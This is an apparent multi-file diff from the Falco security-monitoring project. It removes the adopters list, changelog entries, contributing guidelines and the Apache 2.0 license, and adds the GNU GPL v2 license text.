-# Adopters
-
-This is a list of production adopters of Falco (in alphabetical order):
-
-* [Booz Allen Hamilton](https://www.boozallen.com/) - BAH leverages Falco as part of their Kubernetes environment to verify that work loads behave as they did in their CD DevSecOps pipelines. BAH offers a solution to internal developers to easily build DevSecOps pipelines for projects. This makes it easy for developers to incorporate Security principles early on in the development cycle. In production, Falco is used to verify that the code the developer ships does not violate any of the production security requirements. BAH [are speaking at Kubecon NA 2019](https://kccncna19.sched.com/event/UaWr/building-reusable-devsecops-pipelines-on-a-secure-kubernetes-platform-steven-terrana-booz-allen-hamilton-michael-ducy-sysdig) on their use of Falco.
-
-* [Coveo](https://www.coveo.com/) - Coveo stitches together content and data, learning from every interaction, to tailor every experience using AI to drive growth, satisfy customers and develop employee proficiency. All Falco events are centralized in our SIEM for analysis. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions with containers and orchestration systems. Falco is giving us a good visibility inside containers and complement other Host and Network Intrusion Detection Systems. In a near future, we expect to deploy serverless functions to take action when Falco identifies patterns worth taking action for.
-
-* [Frame.io](https://frame.io/) - Frame.io is a cloud-based (SaaS) video review and collaboration platform that enables users to securely upload source media, work-in-progress edits, dailies, and more into private workspaces where they can invite their team and clients to collaborate on projects. Understanding what is running on production servers, and the context around why things are running is even more tricky now that we have further abstractions like Docker and Kubernetes. To get this needed visibility into our system, we rely on Falco. Falco's ability to collect raw system calls such as open, connect, exec, along with their arguments offer key insights on what is happening on the production system and became the foundation of our intrusion detection and alerting system.
-
-* [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
-
-* [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
-  * https://hipaa.preferral.com/01-preferral_hipaa_compliance/
-
-* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
-
-* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
-
-* [Skyscanner](https://www.skyscanner.net) - Skyscanner is the world's travel search engine for flights, hotels and car rentals. Most of our infrastructure is based on Kubernetes, and our Security team is using Falco to monitor anomalies at runtime, integrating Falco's findings with our internal ChatOps tooling to provide insight on the behavior of our machines in production. We also postprocess and store Falco's results to generate dashboards for auditing purposes.
-
-* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
-
-*  [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.

-### Major Changes
-
-* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
-* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
-* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
-* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
-* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]

-### Minor Changes
-
-* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
-* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
-* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
-* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
-* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
-* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
-* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
-* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]

-### Bug Fixes

-* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
-* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
-* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
-* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
-* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
-* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
-
-### Rule Changes
-
-* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
-* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
-* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
-* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
-* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
-* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]

-### Bug Fixes
-
-* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
-* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
-
-### Minor Changes
-
-* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
-
-### Rule Changes
-
-* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
-* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]

 As a part of these changes, falco now prefers rule conditions that have at least one `evt.type=` operator, at the beginning of the condition, before any negative operators (i.e. `not` or `!=`). If a condition does not have any `evt.type=` operator, falco will log a warning like:

-## Code of Conduct
-
-Falco has a
-[Code of Conduct](CODE_OF_CONDUCT.md)
-to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
-
-## Issues
-
-Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
-
-- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
-creating an issue with the **bug report template** is the best way to do so.
-- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
-- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
-
-The best way to get **involved** in the project is through issues, you can help in many ways:
-
-- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
-sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
-- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
-
-### Triage issues
-
-We need help in categorizing issues. Thus any help is welcome!
-
-When you triage an issue, you:
-
-* assess whether it has merit or not
-
-* quickly close it by correctly answering a question
-
-* point the reporter to a resource or documentation answering the issue
-
-* tag it via labels, projects, or milestones
-
-* take ownership submitting a PR for it, in case you want 😇
-
-#### More about labels
-
-These guidelines are not set in stone and are subject to change.
-
-Anyway a `kind/*` label for any issue is mandatory.
-
-This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
-
-You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
-
-The commands available are the following ones:
-
-```
-/[remove-](area|kind|priority|triage|label)
-```
-
-Some examples:
-
-* `/area rules`
-* `/remove-area rules`
-* `/kind kernel-module`
-* `/label good-first-issue`
-* `/triage duplicate`
-* `/triage unresolved`
-* `/triage not-reproducible`
-* `/triage support`
-* ...
-
-### Slack
-
-Other discussion, and **support requests** should go through the `#falco` channel in the Kubernetes slack, please join [here](https://slack.k8s.io/).
-
-## Pull Requests
-
-Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
-
-In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
-need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
-
-The list of labels is [here](https://github.com/falcosecurity/falco/labels).
-
-Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
-
-Once your reviewer is happy, they will say `/lgtm` which will apply the
-`lgtm` label, and will apply the `approved` label if they are an
-[owner](/OWNERS).
-
-Your PR will be automatically merged once it has the `lgtm` and `approved`
-labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
-
-### Commit convention
-
-As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
-of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
-
-#### Rule type
-
-Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
-Example:
-
-```
-rule(Write below monitored dir): make sure monitored dirs are monitored.
-```
-
-Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
-
-If you are changing only a macro, the commit will look like this:
-
-```
-rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
-```
-
-## Coding Guidelines
-
-### C++
-
-* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
-
-  A complete list of banned functions can be found [here](./userspace/engine/banned.h).
-
-## Developer Certificate Of Origin
-
-The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
-
-Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
-
-```
-This is my commit message
-
-Signed-off-by: John Poiana <jpoiana@falco.org>
-```
-
-Git even has a `-s` command line option to append this automatically to your commit message:
-
-```
-$ git commit -s -m 'This is my commit message'
-```

+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
 
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+                            Preamble
 
-   1. Definitions.
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
 
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
 
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
 
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
 
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
 
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
 
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
 
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
+  The precise terms and conditions for copying, distribution and
+modification follow.
 
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
 
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
 
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
 
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
 
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
 
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
 
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
 
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
 
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
 
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
 
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
 
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
 
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
 
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
 
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
 
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
 
-   END OF TERMS AND CONDITIONS
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
 
-   APPENDIX: How to apply the Apache License to your work.
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
 
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
 
-   Copyright 2019 The Falco Authors
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
 
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.

+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
 
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                            NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
